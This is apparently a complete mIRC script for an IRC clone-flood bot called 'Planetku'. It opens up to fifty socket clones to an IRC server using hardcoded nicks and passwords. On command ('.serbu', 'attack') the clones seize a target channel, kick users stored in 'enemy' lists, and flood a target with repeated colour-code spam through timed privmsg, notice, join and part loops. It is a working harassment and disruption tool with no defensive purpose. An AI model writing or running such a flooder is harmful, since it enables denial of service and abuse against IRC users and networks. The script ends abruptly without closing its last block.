alias -l shift.nick { return pLaNeT pLaNeT1 pLaNeT2 pLaNeT3 pLaNeT4 pLaNeT5 pLaNeT6 pLaNeT7 pLaNeT8 pLaNeT9 pLaNeT10 pLaNeT11 pLaNeT12 pLaNeT13 pLaNeT14 pLaNeT15 pLaNeT16 pLaNeT17v18 pLaNeT19 pLaNeT20 pLaNeT21 pLaNeT22 pLaNeT23 pLaNeT24 pLaNeT25 pLaNeT26 pLaNeT27 pLaNeT28 pLaNeT29 pLaNeT30 pLaNeT31 pLaNeT32 pLaNeT33 pLaNeT34 pLaNeT35 pLaNeT36 pLaNeT37 pLaNeT38 pLaNeT39 pLaNeT40 pLaNeT41 pLaNeT42 pLaNeT43 pLaNeT44 pLaNeT45 pLaNeT46 pLaNeT47 pLaNeT48 pLaNeT49 pLaNeT50 }
alias -l shift.iden { return pLaNeT pLaNeT1 pLaNeT2 pLaNeT3 pLaNeT4 pLaNeT5 pLaNeT6 pLaNeT7 pLaNeT8 pLaNeT9 pLaNeT10 pLaNeT11 pLaNeT12 pLaNeT13 pLaNeT14 pLaNeT15 pLaNeT16 pLaNeT17v18 pLaNeT19 pLaNeT20 pLaNeT21 pLaNeT22 pLaNeT23 pLaNeT24 pLaNeT25 pLaNeT26 pLaNeT27 pLaNeT28 pLaNeT29 pLaNeT30 pLaNeT31 pLaNeT32 pLaNeT33 pLaNeT34 pLaNeT35 pLaNeT36 pLaNeT37 pLaNeT38 pLaNeT39 pLaNeT40 pLaNeT41 pLaNeT42 pLaNeT43 pLaNeT44 pLaNeT45 pLaNeT46 pLaNeT47 pLaNeT48 pLaNeT49 pLaNeT50 }
alias -l shift.serv { return irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id }
alias -l shift.port { return 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 }
alias -l shift.pass { return ddx bignet1 bignet2 bignet3 bignet4 bignet5 bignet6 bignet7 bignet8 bignet9 bignet10 bignet11 bignet12 bignet13 bignet14 bignet15 bignet16 bignet17 bignet18 bignet19 bignet20 bignet21 bignet22 bignet23 bignet24 bignet25 bignet26 bignet27 bignet28 bignet29 bignet30 bignet31 bignet32 bignet33 bignet34 bignet35 bignet36 bignet37 bignet38 bignet39 bignet40 bignet41 bignet42 bignet43 bignet44 bignet45 bignet46 bignet47 bignet48 bignet49 bignet50 }


on *:start:{ .fullname planetku }

on *:exit:{
  hfree -w enemy.*
  unsetall
}

ctcp *:version:*:{
  ctcpreply $nick version Planetku
}

on *:sockopen:*:{
  if ($sockerr > 0) {
    echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) could not connect to the server
    sockclose $sockname
    halt
  }
  echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) connected: $sockname
  sockwrite -nt $sockname $1- nick $sockname
  sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :Planetku
  sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
}

on *:sockclose:*:{
  if (!%c) {
    var %k = $findtok($shift.nick,$sockname,32)
    .timershift $+ %k 1 $calc(%k * 5) sockopen $gettok($shift.nick,%k,32) $gettok($shift.serv,%k,32) $gettok($shift.port,%k,32)
    echo -s $chr(35) $+ %k started, socket has been opened
    if (%e) {
      if ($sock($gettok($shift.nick,%e,32))) { sockwrite -nt $gettok($shift.nick,%e,32) part $shift.chan }
      while (%e <= $numtok($shift.nick,32)) {
        if (%e == $numtok($shift.nick,32)) { set %e 0 }
        if ($sock($gettok($shift.nick,$calc(%e + 1),32))) {
          sockwrite -nt $gettok($shift.nick,$calc(%e + 1),32) join $shift.chan
          set %e $calc(%e + 1)
          break
        }
        inc %e
      }
    }
  }
}

on *:sockread:*:{
  :shift.read
  sockread -f %shift
  if ($sockbr == 0) return
  tokenize 32 %shift
  if (($2 == mode) && ($3 == $shift.chan) && ($sockname isin $5)) {
    if (-o isin $4) { sockwrite -nt $sockname ChanServ op $shift.chan $sockname }
    var %j = $nick($shift.chan,0)
    while %j {
      if ($hfind(enemy.nick,$nick($shift.chan,%j),0,W)) { sockwrite -nt $sockname kick $shift.chan $nick($shift.chan,%j) :4,4.14A15n0Ac0ON15d14A4,4. }
      dec %j
    }
  }
  elseif (($2 == join) && ($shift.chan isin $3)) {
    if ($hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W)) {
      if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me)) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :4,4.14A15n0Ac0ON15d14A4,4. }
    }
    elseif ($hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W)) {
      if (($gettok($mid($1,2,$len($1)),2,$asc(@)) !iswm $address($sockname,5)) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) !iswm $address($me,5)) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
      sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :0,12��7�4.14AVATAR4.7�8�0�
    }
  }
  elseif (($2 == kick) && ($3 == $shift.chan) && ($4 == $sockname) || ($4 == $me)) {
    if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && (!$hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W))) { hadd -m enemy.nick $gettok($mid($1,2,$len($1)),1,33) }
    if (($gettok($mid($1,2,$len($1)),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) !iswm $address($sockname,5)) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) !iswm $address($me,5)) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
    if (%e) {
      if ($sock($gettok($shift.nick,%e,32))) { sockwrite -nt $gettok($shift.nick,%e,32) part $shift.chan }
      while (%e <= $numtok($shift.nick,32)) {
        if (%e == $numtok($shift.nick,32)) { set %e 0 }
        if ($sock($gettok($shift.nick,$calc(%e + 1),32))) {
          sockwrite -nt $gettok($shift.nick,$calc(%e + 1),32) join $shift.chan
          set %e $calc(%e + 1)
          break
        }
        inc %e
      }
    }
  }
  elseif ($2 == 001) {
    sockwrite -nt $sockname join $shift.base
    if ((%e) && ($gettok($shift.nick,%e,32) !ison $shift.chan)) {
      sockwrite -nt $sockname join $shift.chan
      set %e $findtok($shift.nick,$sockname,32)
    }
  }
  elseif ($2 == 451) {
    sockwrite -nt $sockname $1- nick $sockname
    sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :4,4.14A15n0Ac0ON15d14A4,4.
    sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
    sockwrite -nt $sockname join $shift.base
    if ((%e) && ($gettok($shift.nick,%e,32) !ison $shift.chan)) {
      sockwrite -nt $sockname join $shift.chan
      set %e $findtok($shift.nick,$sockname,32)
    }
  }
  elseif (($1 == ping || $2 == ping)) { sockwrite -nt $sockname pong $2- }
  goto shift.read
}

raw 482:*:{ haltdef }
raw 442:*:{ haltdef }
raw 404:*:{ haltdef }
raw 403:*:{ haltdef }
raw 441:*:{ halt }
raw 442:*:{ halt }

on *:input:*: {
  if ($1 == .start) {
    .clear -s
    var %shift.a = 1
    while (%shift.a <= $numtok($shift.nick,32)) {
      if (!$sock($gettok($shift.nick,%shift.a,32))) { .timershift $+ %shift.a 1 $calc(%shift.a * 5) sockopen $gettok($shift.nick,%shift.a,32) $gettok($shift.serv,%shift.a,32) $gettok($shift.port,%shift.a,32) }
      inc %shift.a
    }
  }
  if ($1 == .quit) {
    .clear -s
    var %shift.b = 1
    while (%shift.b <= $numtok($shift.nick,32)) {
      if ($sock($gettok($shift.nick,%shift.b,32))) {
        sockclose $gettok($shift.nick,%shift.b,32)
        echo -s $chr(35) $+ %shift.b disconnected
      }
      inc %shift.b
    }
    .timershift* off
    unset %shift.d %shift.m*
  }
  if ($1 == .base) { echo -s $chr(35) %shift.base #$2 | set %shift.base #$2 }
  if ($1 == .serbu) { set %shift.chan #$2 }
  if ($1 == .join) {
    var %shift.c = 1
    while (%shift.c <= $numtok($shift.nick,32)) {
      if ($sock($gettok($shift.nick,%shift.c,32))) {
        sockwrite -nt $gettok($shift.nick,%shift.c,32) join %shift.chan
        set %shift.d %shift.c
        break
      }
      inc %shift.c
    }
  }
  if ($1 == go) {
    sockwrite -nt $gettok($shift.nick,%shift.d,32) part %shift.chan
    unset %shift.d
  }
  if ($1 == hai) {
    .timer 5 1 sockwrite -nt * privmsg $2 :a, M�12�ssssssssssssssssssssssss�H M�2�sssssssssssssssssss�H M�8�ssssssssssssss�H M�10��H M�11��H M�7��H M�3��H M�1��H M�9��H M�5��H M�12��H M�13��H M�5��H M�11��H M�3��H M�14��H M�3��H M�7��H M�5��H M�5��H M�3��H
    .timer 5 1 sockwrite -nt * notice $2 :a, M�12��H M�2�sssssssssssssssssssssssssssssssssssssssssssssss�H M�8��H M�10��H M�11�ssssssssssssssssssssssssssssssssssssssssssssssssssss�H M�7��H M�3sssssssssssssssssssssssssssssssssssssssssssssssssss��H M�1��H M�9��H M�5��H M�12��H M�13��H M�5��H M�11��H M�3��H M�14��H M�3��H M�7��H M�5��H M�5��H M�3��H M
  }
  if ($1 == yow) {
    .timer 5 1 sockwrite -nt * join %shift.chan
    .timer 5 1 sockwrite -nt * part %shift.chan :a,ggg2sssssssssssssss5ssssssssssssss1sssssssssss3ssssssssss12ssssssssssssssss5s2ssssssssssssssssssssssssss121ssssssssssssssssssssss11ssssssssssssssssssssssssssssssssssssssssss44sssssssssssss )
  }
  if ($1 == ew) {
    .timer 1 1 sockwrite -nt * join %shift.chan
    .timer 10 1 sockwrite -nt * privmsg %shift.chan : , )
  }
  if ($1 == lah) {
    .timer 1 1 sockwrite -nt * part %shift.chan
  }